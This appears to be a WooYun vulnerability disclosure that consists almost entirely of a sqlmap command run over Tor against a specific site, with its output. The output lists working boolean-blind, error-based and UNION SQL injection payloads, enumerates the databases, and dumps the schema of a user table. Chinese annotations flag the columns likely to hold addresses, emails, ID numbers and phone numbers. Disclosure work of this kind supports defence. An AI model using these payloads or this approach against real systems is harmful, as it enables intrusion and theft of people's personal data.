WooYun.org

$ ./sqlmap.py --tor --tor-type=SOCKS5 --random-agent --time-sec=20 --technique=BEUS --union-char=N -u "**.**.**.**/p_info.php?tag_id=&post_id=63" --is-dba --dbs --current-db
---
Parameter: tag_id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: tag_id=-6624 OR 3998=3998#&post_id=63
    Type: error-based
    Title: MySQL OR error-based - WHERE or HAVING clause
    Payload: tag_id=-5680 OR 1 GROUP BY CONCAT(0x7162707071,(SELECT (CASE WHEN (6134=6134) THEN 1 ELSE 0 END)),0x716a7a6a71,FLOOR(RAND(0)*2)) HAVING MIN(0)#&post_id=63
    Type: UNION query
    Title: Generic UNION query (N) - 17 columns
    Payload: tag_id=-1499 UNION ALL SELECT 'N','N','N','N',CONCAT(0x7162707071,0x4c667874645941424965,0x716a7a6a71),'N','N','N','N','N','N','N','N','N','N','N','N'-- &post_id=63
---
web application technology: Apache
back-end DBMS: MySQL 5
current database:    'DBL02699'
current user is DBA:    False
available databases [2]:
[*] DBL02699
[*] information_schema
Database: DBL02699
Table: active_user
[26 columns]
+------------------+---------------+
| Column           | Type          |
+------------------+---------------+
| act_id           | int(11)       |
| au_act_stat      | tinyint(11)   |
| au_address       | varchar(1024) |  ===> 可能是地址
| au_age_area      | int(11)       |
| au_birth         | varchar(32)   |
| au_bodycheck     | varchar(512)  |
| au_buydate       | varchar(512)  |
| au_buystore      | varchar(512)  |
| au_clothe_size   | varchar(32)   |
| au_email         | varchar(1024) |   ===> 可能是电邮
| au_giftform      | varchar(512)  |
| au_giftno        | varchar(512)  |
| au_id            | bigint(20)    |   ===> 可能是身分证
| au_idnum         | varchar(64)   |
| au_knowdetail    | varchar(512)  |
| au_mototype      | tinyint(4)    |
| au_mototype_text | varchar(1024) |
| au_msic          | tinytext      |
| au_name          | varchar(1024) |
| au_newsfrom      | varchar(512)  |
| au_newsfrom_text | varchar(512)  |
| au_photo         | varchar(1024) |
| au_productform   | varchar(512)  |
| au_registertime  | timestamp     |
| au_tel           | varchar(32)   |  ===> 可能是电话
| au_time_choice   | varchar(32)   |
+------------------+---------------+